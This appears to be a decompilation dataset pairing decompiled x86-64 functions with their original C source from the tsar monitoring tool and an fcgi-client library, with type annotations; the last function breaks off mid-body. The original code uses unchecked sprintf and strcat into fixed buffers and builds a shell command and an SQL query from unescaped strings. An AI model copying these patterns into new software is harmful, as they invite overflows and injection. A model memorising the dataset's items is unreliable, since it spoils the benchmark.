decompiled_code:
__int64 __fastcall merge_one_string(unsigned __int64 *a1, int a2, const char *a3, __int64 a4, int a5)
{
__int64 v6; // rbp
__int64 result; // rax
_QWORD *v8; // rcx
_DWORD *v9; // rsi
__int64 v10; // r9
_BYTE v11[280]; // [rsp+0h] [rbp-118h] BYREF

v6 = *(_QWORD *)(a4 + 4800);
memset(v11, 0, 0x100uLL);
result = convert_record_to_array((__int64)v11, a2, a3);
if ( (_DWORD)result )
{
if ( (int)result > 0 )
{
v8 = v11;
v9 = (_DWORD *)(v6 + 132);
v10 = (__int64)&a1[(unsigned int)(result - 1) + 1];
do
{
if ( *v9 == 1 )
{
*a1 += *v8;
}
else if ( *v9 == 2 )
{
*a1 = (*v8 + (a5 - 1) * *a1) / a5;
}
++a1;
v9 += 35;
++v8;
}
while ( a1 != (unsigned __int64 *)v10 );
}
result = 1LL;
}
return result;
}

original_code:
int merge_one_string(unsigned long long *array, int l_array, char *string, struct module *mod, int n_item) {
    int i, len;
    unsigned long long array_2[32] = {0};
    struct mod_info *info = mod->info;
    if (!(len = convert_record_to_array(array_2, l_array, string)))
        return 0;
    for (i = 0; i < len; i++) {
        switch (info[i].merge_mode) {
            case MERGE_SUM:
                array[i] += array_2[i];
                break;
            case MERGE_AVG:
                array[i] = (array[i] * (n_item - 1) + array_2[i]) / n_item;
                break;
            default:
                break;
        }
    }
    return 1;
}

canonical_original_code:
int merge_one_string(unsigned long long *array, int l_array, char *string, struct module *mod, int n_item) {
    int i; int len;
    unsigned long long array_2[32] = {0};
    struct mod_info *info = mod->info;
    if (!(len = convert_record_to_array(array_2, l_array, string)))
        return 0;
    for (i = 0; i < len; i++) {
        switch (info[i].merge_mode) {
            case MERGE_SUM:
                array[i] += array_2[i];
                break;
            case MERGE_AVG:
                array[i] = (array[i] * (n_item - 1) + array_2[i]) / n_item;
                break;
            default:
                break;
        }
    }
    return 1;
}

variable_types:
string
char *

variable_types: struct module { char name[32]; char parameter[256]; char opt_line[32]; char usage[256]; char print_item[32]; char record[4096]; void *lib; int enable; int spec; int n_col; int n_item; long n_record; int p_item; unsigned long long *pre_array; unsigned long long *cur_array; double *st_array; double *max_array; double *mean_array; double *min_array; int pre_flag; int st_flag; struct mod_info { char hdr[128]; int summary_bit; int merge_mode; int stats_opt; } *info; void (*mod_register)(struct module *); void (*data_collect)(struct module *, char *); void (*set_st_record)(struct module *, double *, unsigned long long *, unsigned long long *, int); } *

variable_types: i int

variable_types: len int


repo: abgood/tsar

decompiled_code:
__int64 __fastcall merge_mult_item_to_array(void *a1, __int64 a2)
{
int v2; // ebx
__int64 v3; // rdx
__int64 result; // rax
int v5; // [rsp+0h] [rbp-BCh] BYREF
__int128 dest[11]; // [rsp+4h] [rbp-B8h] BYREF

v2 = 1;
v3 = *(int *)(a2 + 4720);
v5 = 0;
dest[0] = 0LL;
dest[1] = 0LL;
dest[2] = 0LL;
dest[3] = 0LL;
dest[4] = 0LL;
dest[5] = 0LL;
dest[6] = 0LL;
dest[7] = 0LL;
memset(a1, 0, 8 * v3);
while ( (unsigned int)strtok_next_item(dest, (char *)(a2 + 608), &v5) )
{
result = merge_one_string((unsigned __int64 *)a1, *(_DWORD *)(a2 + 4720), (const char *)dest, a2, v2);
if ( !(_DWORD)result )
return result;
++v2;
memset(dest, 0, 0x80uLL);
}
return 1LL;
}

canonical_decompiled_code:
__int64 __fastcall func6(void *a1, __int64 a2)
{
int v2; // ebx
__int64 v3; // rdx
__int64 result; // rax
int v5; // [rsp+0h] [rbp-BCh] BYREF
__int128 dest[11]; // [rsp+4h] [rbp-B8h] BYREF

v2 = 1;
v3 = *(int *)(a2 + 4720);
v5 = 0;
dest[0] = 0LL;
dest[1] = 0LL;
dest[2] = 0LL;
dest[3] = 0LL;
dest[4] = 0LL;
dest[5] = 0LL;
dest[6] = 0LL;
dest[7] = 0LL;
memset(a1, 0, 8 * v3);
while ( (unsigned int)func4(dest, (char *)(a2 + 608), &v5) )
{
result = func5((unsigned __int64 *)a1, *(_DWORD *)(a2 + 4720), (const char *)dest, a2, v2);
if ( !(_DWORD)result )
return result;
++v2;
memset(dest, 0, 0x80uLL);
}
return 1LL;
}

original_code:
int merge_mult_item_to_array(unsigned long long *array, struct module *mod) {
    int pos = 0;
    int n_item = 1;
    char item[128] = {0};
    memset(array, 0, sizeof(unsigned long long) * mod->n_col);
    while (strtok_next_item(item, mod->record, &pos)) {
        if (!merge_one_string(array, mod->n_col, item, mod, n_item))
            return 0;
        n_item++;
        memset(&item, 0, sizeof(item));
    }
    return 1;
}

variable_types:
array
unsigned long long *

variable_types: pos int

variable_types:
item
char [128]

return_type: int

user_defined_types: struct module { char name[32]; char parameter[256]; char opt_line[32]; char usage[256]; char print_item[32]; char record[4096]; void *lib; int enable; int spec; int n_col; int n_item; long n_record; int p_item; unsigned long long *pre_array; unsigned long long *cur_array; double *st_array; double *max_array; double *mean_array; double *min_array; int pre_flag; int st_flag; struct mod_info *info; void (*mod_register)(struct module *); void (*data_collect)(struct module *, char *); void (*set_st_record)(struct module *, double *, unsigned long long *, unsigned long long *, int); }

user_defined_types: struct mod_info { char hdr[128]; int summary_bit; int merge_mode; int stats_opt; }


decompiled_code:
int output_db()
{
size_t v0; // rax
__int64 v1; // rbx
int v2; // er12
int v3; // ebp
int result; // eax
char v5; // [rsp+1h] [rbp-3919h]
__int128 v6[8]; // [rsp+2h] [rbp-3918h] BYREF
char src[16]; // [rsp+82h] [rbp-3898h] BYREF
__int128 v8; // [rsp+92h] [rbp-3888h]
__int128 v9; // [rsp+A2h] [rbp-3878h]
__int128 v10; // [rsp+B2h] [rbp-3868h]
__int128 v11; // [rsp+C2h] [rbp-3858h]
__int128 v12; // [rsp+D2h] [rbp-3848h]
__int128 v13; // [rsp+E2h] [rbp-3838h]
__int128 v14; // [rsp+F2h] [rbp-3828h]
char dest[16]; // [rsp+102h] [rbp-3818h] BYREF
char v16[4080]; // [rsp+112h] [rbp-3808h] BYREF
char v17[16]; // [rsp+1102h] [rbp-2818h] BYREF
char s[10224]; // [rsp+1112h] [rbp-2808h] BYREF

*(_OWORD *)dest = 0LL;
memset(v16, 0, sizeof(v16));
v6[0] = 0LL;
v6[1] = 0LL;
v6[2] = 0LL;
v6[3] = 0LL;
v6[4] = 0LL;
v6[5] = 0LL;
v6[6] = 0LL;
v6[7] = 0LL;
*(_OWORD *)v17 = 0LL;
memset(s, 0, sizeof(s));
*(_OWORD *)src = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
reload_modules((unsigned int)((_DWORD)&conf + 1060));
sprintf(
dest,
"'%s',from_unixtime(%ld),",
(const char *)(unsigned int)((_DWORD)&conf + 6284),
*((_QWORD *)&statis + 1));
v0 = strlen((const char *)v6);
strcpy((char *)v6 + v0, "ip,time,");
if ( statis <= 0 )
{
*((_BYTE *)v6 + v0 + 7) = 0;
*((_BYTE *)&v14 + strlen(dest) + 15) = 0;
result = sprintf(v17, "INSERT INTO data_collect(%s) values (%s)", (const char *)v6, dest);
}
else
{
v1 = (unsigned int)((_DWORD)&mods + 608);
v2 = 0;
v3 = 0;
do
{
if ( *(_DWORD *)(v1 + 4104) && *(_BYTE *)v1 )
{
v2 = 1;
sprintf(src, "'%s',", (const char *)v1);
strcat(dest, src);
sprintf(src, "%s,", (const char *)(v1 - 318));
strcat((char *)v6, src);
}
++v3;
v1 += 4832LL;
}
while ( statis > v3 );
*(&v5 + strlen((const char *)v6)) = 0;
*((_BYTE *)&v14 + strlen(dest) + 15) = 0;
result = sprintf(v17, "INSERT INTO data_collect(%s) values (%s)", (const char *)v6, dest);
if ( v2 )
{
result = query_mysql((unsigned int)((_DWORD)&conf + 516), v17);
if ( result )
exit(1);
}
}
return result;
}

canonical_decompiled_code:
int func0()
{
size_t v0; // rax
__int64 v1; // rbx
int v2; // er12
int v3; // ebp
int result; // eax
char v5; // [rsp+1h] [rbp-3919h]
__int128 v6[8]; // [rsp+2h] [rbp-3918h] BYREF
char src[16]; // [rsp+82h] [rbp-3898h] BYREF
__int128 v8; // [rsp+92h] [rbp-3888h]
__int128 v9; // [rsp+A2h] [rbp-3878h]
__int128 v10; // [rsp+B2h] [rbp-3868h]
__int128 v11; // [rsp+C2h] [rbp-3858h]
__int128 v12; // [rsp+D2h] [rbp-3848h]
__int128 v13; // [rsp+E2h] [rbp-3838h]
__int128 v14; // [rsp+F2h] [rbp-3828h]
char dest[16]; // [rsp+102h] [rbp-3818h] BYREF
char v16[4080]; // [rsp+112h] [rbp-3808h] BYREF
char v17[16]; // [rsp+1102h] [rbp-2818h] BYREF
char s[10224]; // [rsp+1112h] [rbp-2808h] BYREF

*(_OWORD *)dest = 0LL;
memset(v16, 0, sizeof(v16));
v6[0] = 0LL;
v6[1] = 0LL;
v6[2] = 0LL;
v6[3] = 0LL;
v6[4] = 0LL;
v6[5] = 0LL;
v6[6] = 0LL;
v6[7] = 0LL;
*(_OWORD *)v17 = 0LL;
memset(s, 0, sizeof(s));
*(_OWORD *)src = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
reload_modules((unsigned int)((_DWORD)&conf + 1060));
sprintf(
dest,
"'%s',from_unixtime(%ld),",
(const char *)(unsigned int)((_DWORD)&conf + 6284),
*((_QWORD *)&statis + 1));
v0 = strlen((const char *)v6);
strcpy((char *)v6 + v0, "ip,time,");
if ( statis <= 0 )
{
*((_BYTE *)v6 + v0 + 7) = 0;
*((_BYTE *)&v14 + strlen(dest) + 15) = 0;
result = sprintf(v17, "INSERT INTO data_collect(%s) values (%s)", (const char *)v6, dest);
}
else
{
v1 = (unsigned int)((_DWORD)&mods + 608);
v2 = 0;
v3 = 0;
do
{
if ( *(_DWORD *)(v1 + 4104) && *(_BYTE *)v1 )
{
v2 = 1;
sprintf(src, "'%s',", (const char *)v1);
strcat(dest, src);
sprintf(src, "%s,", (const char *)(v1 - 318));
strcat((char *)v6, src);
}
++v3;
v1 += 4832LL;
}
while ( statis > v3 );
*(&v5 + strlen((const char *)v6)) = 0;
*((_BYTE *)&v14 + strlen(dest) + 15) = 0;
result = sprintf(v17, "INSERT INTO data_collect(%s) values (%s)", (const char *)v6, dest);
if ( v2 )
{
result = query_mysql((unsigned int)((_DWORD)&conf + 516), v17);
if ( result )
exit(1);
}
}
return result;
}

original_code:
void output_db(void) {
    struct module *mod;
    char value[4096] = {0};
    char field[128] = {0};
    int i, ret = 0;
    char cmd[10240] = {0};
    char token[128] = {0};
    const char *sql;
    reload_modules(conf.output_db_mod);
    sprintf(value, "\'%s\',from_unixtime(%ld),", conf.host_ip, statis.cur_time);
    strcat(field, "ip,time,");
    for (i = 0; i < statis.total_mod_num; i++) {
        mod = &mods[i];
        if (mod->enable && strlen(mod->record)) {
            sprintf(token, "\'%s\',", mod->record);
            strcat(value, token);
            sprintf(token, "%s,", mod->opt_line + 2);
            strcat(field, token);
            ret = 1;
        }
    }
    field[strlen(field) - 1] = '\0';
    value[strlen(value) - 1] = '\0';
    sprintf(cmd, "INSERT INTO data_collect(%s) values (%s)", field, value);
    sql = cmd;
    if (ret) {
        if (query_mysql(conf.output_db_addr, sql))
            exit(1);
    }
}

canonical_original_code:
void output_db() {
    struct module *mod;
    char value[4096] = {0};
    char field[128] = {0};
    int i; int ret = 0;
    char cmd[10240] = {0};
    char token[128] = {0};
    char *sql;
    reload_modules(conf.output_db_mod);
    sprintf(value, "\'%s\',from_unixtime(%ld),", conf.host_ip, statis.cur_time);
    strcat(field, "ip,time,");
    for (i = 0; i < statis.total_mod_num; i++) {
        mod = &mods[i];
        if (mod->enable && strlen(mod->record)) {
            sprintf(token, "\'%s\',", mod->record);
            strcat(value, token);
            sprintf(token, "%s,", mod->opt_line + 2);
            strcat(field, token);
            ret = 1;
        }
    }
    field[strlen(field) - 1] = '\0';
    value[strlen(value) - 1] = '\0';
    sprintf(cmd, "INSERT INTO data_collect(%s) values (%s)", field, value);
    sql = cmd;
    if (ret) {
        if (query_mysql(conf.output_db_addr, sql))
            exit(1);
    }
}

variable_types:
value
char [4096]

variable_types:
field
char [128]

variable_types: ret int

variable_types:
cmd
char [10240]

variable_types:
token
char [128]

variable_types:
sql
char *

return_type: void


original_code:
static void set_tcp_record(struct module *mod, double st_array[], unsigned long long pre_array[], unsigned long long cur_array[], int inter) {
    int i;
    for (i = 0; i < 4; i++) {
        if (cur_array[i] >= pre_array[i]) {
            st_array[i] = (cur_array[i] - pre_array[i]) * 1.0 / inter;
        }
    }
    if ((cur_array[4] >= pre_array[4]) && (cur_array[3] > pre_array[3])) {
        st_array[4] = (cur_array[4] - pre_array[4]) * 100.0 / (cur_array[3] - pre_array[3]);
    }
    if (st_array[4] > 100.0) {
        st_array[4] = 100.0;
    }
}

variable_types: inter int


decompiled_code:
__int64 mod_register()
{
return register_mod_fileds();
}

canonical_decompiled_code:
__int64 func6()
{
return register_mod_fileds();
}

original_code:
void mod_register(struct module *mod) {
    register_mod_fileds(mod, "--tcp", tcp_usage, tcp_info, 5, read_tcp_stats, set_tcp_record);
}


decompiled_code:
int do_debug(unsigned int a1, const char *a2, ...)
{
int result; // eax
gcc_va_list arg; // [rsp+8h] [rbp-D0h] BYREF

if ( conf <= a1 )
{
va_start(arg, a2);
result = vfprintf(stderr, a2, arg);
}
if ( a1 == 4 )
exit(1);
return result;
}

canonical_decompiled_code:
int func0(unsigned int a1, const char *a2, ...)
{
int result; // eax
gcc_va_list arg; // [rsp+8h] [rbp-D0h] BYREF

if ( conf <= a1 )
{
va_start(arg, a2);
result = vfprintf(stderr, a2, arg);
}
if ( a1 == 4 )
exit(1);
return result;
}

original_code:
void
do_debug(log_level_t level, char *fmt, ...) {
    if (level >= conf.debug_level) {
        va_list argp;
        __builtin_va_start(argp,fmt);
        vfprintf(stderr, fmt, argp);
        __builtin_va_end(argp);
    }
    if (LOG_FATAL == level)
        exit(1);
}

canonical_original_code:
void do_debug(enum log_level_t level, char *fmt, ...) {
    if (level >= conf.debug_level) {
        __builtin_va_list argp;
        __builtin_va_start(argp,fmt);
        vfprintf(stderr, fmt, argp);
        __builtin_va_end(argp);
    }
    if (LOG_FATAL == level)
        exit(1);
}

variable_types: enum log_level_t { LOG_INFO=0, LOG_DEBUG=1, LOG_WARN=2, LOG_ERR=3, LOG_FATAL=4 }

variable_types:
fmt
char *


original_code:
void output_nagios(void) {
    int now_time;
    char s_time[64] = {0};
    struct module *mod;
    int i, j, k, l, result = 0;
    char output[4096] = {0};
    char output_err[4096] = {0};
    now_time = statis.cur_time - statis.cur_time%60;
    if ((*conf.cycle_time == 0) || (now_time % *conf.cycle_time != 0))
        return;
    conf.print_merge = MERGE_NOT;
    if (get_st_array_from_file())
        return;
    reload_modules(conf.output_nagios_mod);
    sprintf(s_time, "%ld", time(((void *)0)));
    for (i = 0; i < statis.total_mod_num; i++) {
        mod = &mods[i];
        if (!mod->enable)
            continue;
        else {
            if (!mod->st_flag)
                printf("name %s do nothing!\n", mod->name);
            else {
                char *s_token;
                double *st_array;
                char check[64] = {0};
                char opt[32] = {0};
                char *n_record = strdup(mod->record);
                char *token = strtok(n_record, ";");
                struct mod_info *info = mod->info;
                j = 0;
                while (token) {
                    memset(check, 0, sizeof(check));
                    strcat(check, mod->name + 4);
                    strcat(check, ".");
                    s_token = strstr(token, "=");
                    if (s_token){
                        memset(opt, 0, sizeof(opt));
                        strncat(opt, token, s_token - token);
                        strcat(check, opt);
                        strcat(check, ".");
                    }
                    st_array = &mod->st_array[j * mod->n_col];
                    token = strtok(((void *)0), ";");
                    j++;
                    for (k = 0; k < mod->n_col; k++) {
                        char check_item[64] = {0};
                        char *p;
                        memcpy(check_item, check, 64);
                        p = info[k].hdr;
                        while (*p == ' ') p++;
                        strcat(check_item, p);
                        for (l = 0; l < conf.mod_num; l++) {
                            if (!strcmp(conf.check_name[l], check_item)) {
                                char value[32] = {0};
                                sprintf(value, "%0.02f", st_array[k]);
                                strcat(output, check_item);
                                strcat(output, "=");
                                strcat(output, value);
                                strcat(output, " ");
                                if (conf.cmin[l] != 0 && st_array[k] >= conf.cmin[l]) {
                                    if (conf.cmax[l] == 0 || (conf.cmax[l] != 0 && st_array[k] <= conf.cmax[l])) {
                                        result = 2;
                                        strcat(output_err, check_item);
                                        strcat(output_err, "=");
                                        strcat(output_err, value);
                                        strcat(output_err, " ");
                                        continue;
                                    }
                                }
                                if (conf.wmin[l] != 0 && st_array[k] >= conf.wmin[l]) {
                                    if (conf.wmax[l] == 0 || (conf.wmax[l] != 0 && st_array[k] <= conf.wmax[l])) {
                                        if (result != 2)
                                            result = 1;
                                        strcat(output_err, check_item);
                                        strcat(output_err, "=");
                                        strcat(output_err, value);
                                        strcat(output_err, " ");
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    if (!strcmp(output_err, ""))
        strcat(output_err, "OK");
    char nagios_cmd[1024] = {0};
    sprintf(nagios_cmd, "echo \"%s;tsar;%d;%s|%s\"|%s -H %s -p %d -to 10 -d \";\" -c %s", conf.host_name, result, output_err, output, conf.send_nsca_cmd, conf.server_addr, *(conf.server_port), conf.send_nsca_conf);
    do_debug(LOG_DEBUG, "send to nagios:%s\n", nagios_cmd);
    printf("%s\n", nagios_cmd);
}

canonical_original_code:
void output_nagios() {
    int now_time;
    char s_time[64] = {0};
    struct module *mod;
    int i; int j; int k; int l; int result = 0;
    char output[4096] = {0};
    char output_err[4096] = {0};
    now_time = statis.cur_time - statis.cur_time%60;
    if ((*conf.cycle_time == 0) || (now_time % *conf.cycle_time != 0))
        return;
    conf.print_merge = MERGE_NOT;
    if (get_st_array_from_file())
        return;
    reload_modules(conf.output_nagios_mod);
    sprintf(s_time, "%ld", time(((void *)0)));
    for (i = 0; i < statis.total_mod_num; i++) {
        mod = &mods[i];
        if (!mod->enable)
            continue;
        else {
            if (!mod->st_flag)
                printf("name %s do nothing!\n", mod->name);
            else {
                char *s_token;
                double *st_array;
                char check[64] = {0};
                char opt[32] = {0};
                char *n_record = strdup(mod->record);
                char *token = strtok(n_record, ";");
                struct mod_info *info = mod->info;
                j = 0;
                while (token) {
                    memset(check, 0, sizeof(check));
                    strcat(check, mod->name + 4);
                    strcat(check, ".");
                    s_token = strstr(token, "=");
                    if (s_token){
                        memset(opt, 0, sizeof(opt));
                        strncat(opt, token, s_token - token);
                        strcat(check, opt);
                        strcat(check, ".");
                    }
                    st_array = &mod->st_array[j * mod->n_col];
                    token = strtok(((void *)0), ";");
                    j++;
                    for (k = 0; k < mod->n_col; k++) {
                        char check_item[64] = {0};
                        char *p;
                        memcpy(check_item, check, 64);
                        p = info[k].hdr;
                        while (*p == ' ') p++;
                        strcat(check_item, p);
                        for (l = 0; l < conf.mod_num; l++) {
                            if (!strcmp(conf.check_name[l], check_item)) {
                                char value[32] = {0};
                                sprintf(value, "%0.02f", st_array[k]);
                                strcat(output, check_item);
                                strcat(output, "=");
                                strcat(output, value);
                                strcat(output, " ");
                                if (conf.cmin[l] != 0 && st_array[k] >= conf.cmin[l]) {
                                    if (conf.cmax[l] == 0 || (conf.cmax[l] != 0 && st_array[k] <= conf.cmax[l])) {
                                        result = 2;
                                        strcat(output_err, check_item);
                                        strcat(output_err, "=");
                                        strcat(output_err, value);
                                        strcat(output_err, " ");
                                        continue;
                                    }
                                }
                                if (conf.wmin[l] != 0 && st_array[k] >= conf.wmin[l]) {
                                    if (conf.wmax[l] == 0 || (conf.wmax[l] != 0 && st_array[k] <= conf.wmax[l])) {
                                        if (result != 2)
                                            result = 1;
                                        strcat(output_err, check_item);
                                        strcat(output_err, "=");
                                        strcat(output_err, value);
                                        strcat(output_err, " ");
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    if (!strcmp(output_err, ""))
        strcat(output_err, "OK");
    char nagios_cmd[1024] = {0};
    sprintf(nagios_cmd, "echo \"%s;tsar;%d;%s|%s\"|%s -H %s -p %d -to 10 -d \";\" -c %s", conf.host_name, result, output_err, output, conf.send_nsca_cmd, conf.server_addr, *(conf.server_port), conf.send_nsca_conf);
    do_debug(LOG_DEBUG, "send to nagios:%s\n", nagios_cmd);
    printf("%s\n", nagios_cmd);
}

variable_types: j int

variable_types: k int

variable_types: l int

variable_types: result int

variable_types:
output
char [4096]

variable_types:
check
char [64]

variable_types:
opt
char [32]

variable_types:
token
char *

variable_types: struct mod_info { char hdr[128]; int summary_bit; int merge_mode; int stats_opt; } *

variable_types:
p
char *

variable_types:
value
char [32]


decompiled_code:
__int64 __fastcall set_load_record(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 i; // rax
__int64 v5; // rdx
double v6; // xmm0_8
__int64 v7; // rax
double v8; // xmm0_8
__int64 result; // rax
__int64 v10; // rdi
__int64 v11; // rdx
unsigned __int64 v12; // rdx

for ( i = 0LL; i != 24; i += 8LL )
{
v5 = *(_QWORD *)(a4 + i);
if ( v5 < 0 )
{
v10 = *(_QWORD *)(a4 + i) & 1LL | (*(_QWORD *)(a4 + i) >> 1);
v6 = (double)(int)v10 + (double)(int)v10;
}
else
{
v6 = (double)(int)v5;
}
*(double *)(a2 + i) = v6 / 100.0;
}
v7 = *(_QWORD *)(a4 + 24);
if ( v7 < 0 )
{
v11 = *(_QWORD *)(a4 + 24) & 1LL | (*(_QWORD *)(a4 + 24) >> 1);
result = *(_QWORD *)(a4 + 32);
*(double *)(a2 + 24) = (double)(int)v11 + (double)(int)v11;
if ( result >= 0 )
goto LABEL_7;
}
else
{
v8 = (double)(int)v7;
result = *(_QWORD *)(a4 + 32);
*(double *)(a2 + 24) = v8;
if ( result >= 0 )
{
LABEL_7:
*(double *)(a2 + 32) = (double)(int)result;
return result;
}
}
v12 = result;
result &= 1u;
*(double *)(a2 + 32) = (double)(int)(result | (v12 >> 1)) + (double)(int)(result | (v12 >> 1));
return result;
}

original_code:
static void set_load_record(struct module *mod, double *st_array, unsigned long long *pre_array, unsigned long long *cur_array, int inter) {
    int i;
    for (i = 0; i < 3; i++) {
        st_array[i] = cur_array[i] / 100.0;
    }
    st_array[3] = cur_array[3];
    st_array[4] = cur_array[4];
}

variable_types: struct module { char name[32]; char parameter[256]; char opt_line[32]; char usage[256]; char print_item[32]; char record[4096]; void *lib; int enable; int spec; int n_col; int n_item; long n_record; int p_item; unsigned long long *pre_array; unsigned long long *cur_array; double *st_array; double *max_array; double *mean_array; double *min_array; int pre_flag; int st_flag; struct mod_info { char hdr[128]; int summary_bit; int merge_mode; int stats_opt; } *info; void (*mod_register)(struct module *); void (*data_collect)(struct module *, char *); void (*set_st_record)(struct module *, double *, unsigned long long *, unsigned long long *, int); } *

variable_types: i int


original_code:
void mod_register(struct module *mod) {
    register_mod_fileds(mod, "--loadavg", load_usage, load_info, 5, read_load_stats, set_load_record);
}


original_code:
static void set_mem_record(struct module *mod, double st_array[], unsigned long long pre_array[], unsigned long long cur_array[], int inter) {
    st_array[0] = cur_array[0]<<10;
    st_array[1] = (cur_array[4] - cur_array[0] -cur_array[2] -cur_array[3])<<10;
    st_array[2] = cur_array[2]<<10;
    st_array[3] = cur_array[3]<<10;
    st_array[4] = cur_array[4]<<10;
    st_array[5] = st_array[1] * 100.0 / (cur_array[4]<<10);
}


canonical_decompiled_code:
__int64 func8()
{
return register_mod_fileds();
}

original_code:
void mod_register(struct module *mod) {
    register_mod_fileds(mod, "--mem", mem_usage, mem_info, 6, read_mem_stats, set_mem_record);
}


repo: abhigna/fcgi-client

decompiled_code:
int __fastcall print_mem(unsigned __int8 *a1, __int64 a2)
{
unsigned __int8 *v2; // rbp
unsigned __int8 *v3; // rbx
__int64 v4; // rsi

if ( a2 )
{
v2 = &a1[a2];
v3 = a1;
do
{
v4 = *v3++;
printf("%02X\n", v4);
}
while ( v2 != v3 );
}
return putchar(10);
}

canonical_decompiled_code:
int __fastcall func0(unsigned __int8 *a1, __int64 a2)
{
unsigned __int8 *v2; // rbp
unsigned __int8 *v3; // rbx
__int64 v4; // rsi

if ( a2 )
{
v2 = &a1[a2];
v3 = a1;
do
{
v4 = *v3++;
printf("%02X\n", v4);
}
while ( v2 != v3 );
}
return putchar(10);
}

original_code:
void print_mem(void const *vp, size_t n)
{
    unsigned char const *p = vp;
    size_t i;
    for (i=0; i<n; i++)
        printf("%02X\n", p[i]);
    putchar('\n');
}

canonical_original_code:
void print_mem(void *vp, unsigned long n)
{
    unsigned char *p = vp;
    unsigned long i;
    for (i=0; i<n; i++)
        printf("%02X\n", p[i]);
    putchar('\n');
}

variable_types:
vp
void *

variable_types:
n
unsigned long

variable_types:
p
unsigned char *

variable_types:
i
unsigned long


decompiled_code:
void __fastcall fcgi_header_set_request_id(__int64 a1, __int16 a2)
{
*(_WORD *)(a1 + 2) = __ROL2__(a2, 8);
}

original_code:
void fcgi_header_set_request_id(fcgi_header *h, uint16_t request_id){
    h->request_id_lo = ((request_id) & 0xff);
    h->request_id_hi = ((request_id)>>8 & 0xff);
}

canonical_original_code:
void fcgi_header_set_request_id(struct fcgi_header *h, unsigned short request_id){
    h->request_id_lo = ((request_id) & 0xff);
    h->request_id_hi = ((request_id)>>8 & 0xff);
}

variable_types: struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; } *


decompiled_code:
void __fastcall fcgi_header_set_content_len(__int64 a1, __int16 a2)
{
*(_WORD *)(a1 + 4) = __ROL2__(a2, 8);
}

original_code:
void fcgi_header_set_content_len(fcgi_header *h, uint16_t len){
    h->content_len_lo = ((len) & 0xff);
    h->content_len_hi = ((len)>>8 & 0xff);
}

canonical_original_code:
void fcgi_header_set_content_len(struct fcgi_header *h, unsigned short len){
    h->content_len_lo = ((len) & 0xff);
    h->content_len_hi = ((len)>>8 & 0xff);
}

variable_types:
len
unsigned short

user_defined_types: struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; }


decompiled_code:
__int64 __fastcall fcgi_header_get_content_len(__int64 a1)
{
return *(unsigned __int8 *)(a1 + 5) + (*(unsigned __int8 *)(a1 + 4) << 8);
}

canonical_decompiled_code:
__int64 __fastcall func3(__int64 a1)
{
return *(unsigned __int8 *)(a1 + 5) + (*(unsigned __int8 *)(a1 + 4) << 8);
}

original_code:
uint32_t fcgi_header_get_content_len(fcgi_header *h){
    return (h->content_len_hi << 8) + h->content_len_lo;
}

canonical_original_code:
unsigned int fcgi_header_get_content_len(struct fcgi_header *h){
    return (h->content_len_hi << 8) + h->content_len_lo;
}

return_type: unsigned int


decompiled_code:
_QWORD *fcgi_record_create()
{
_QWORD *v0; // r12
void *v1; // rax
_QWORD *result; // rax

v0 = malloc(0x30uLL);
v1 = calloc(8uLL, 1uLL);
v0[5] = 0LL;
*v0 = v1;
result = v0;
*((_DWORD *)v0 + 8) = 0;
return result;
}

canonical_decompiled_code:
_QWORD *func5()
{
_QWORD *v0; // r12
void *v1; // rax
_QWORD *result; // rax

v0 = malloc(0x30uLL);
v1 = calloc(8uLL, 1uLL);
v0[5] = 0LL;
*v0 = v1;
result = v0;
*((_DWORD *)v0 + 8) = 0;
return result;
}

original_code:
fcgi_record* fcgi_record_create()
{
    fcgi_record* tmp = (fcgi_record *) malloc(sizeof(fcgi_record));
    tmp->header = (fcgi_header *) calloc(sizeof(fcgi_header), 1);
    tmp->next = ((void *)0);
    tmp->state = 0;
    return tmp;
}

canonical_original_code:
struct fcgi_record_ *fcgi_record_create()
{
    struct fcgi_record_ *tmp = (fcgi_record *) malloc(sizeof(fcgi_record));
    tmp->header = (struct fcgi_header *) calloc(sizeof(fcgi_header), 1);
    tmp->next = ((void *)0);
    tmp->state = 0;
    return tmp;
}

variable_types: struct fcgi_record_ { struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; } *header; void *content; unsigned long offset; enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 } state; struct fcgi_record_ *next; } *

user_defined_types: struct fcgi_record_ { struct fcgi_header *header; void *content; unsigned long offset; enum fcgi_state state; struct fcgi_record_ *next; }


decompiled_code:
__int64 __fastcall fcgi_process_header(char a1, __int64 a2)
{
_BYTE *v2; // rdx
__int64 result; // rax

v2 = *(_BYTE **)a2;
switch ( *(_DWORD *)(a2 + 32) )
{
case 0:
*v2 = a1;
*(_DWORD *)(a2 + 32) = 1;
goto LABEL_5;
case 1:
v2[1] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 2;
break;
case 2:
v2[2] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 3;
break;
case 3:
v2[3] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 4;
break;
case 4:
v2[4] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 5;
break;
case 5:
v2[5] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 6;
break;
case 6:
v2[6] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 7;
break;
case 7:
v2[7] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 8;
break;
case 8:
case 9:
case 0xA:
case 0xB:
result = 2LL;
break;
default:
LABEL_5:
result = 1LL;
break;
}
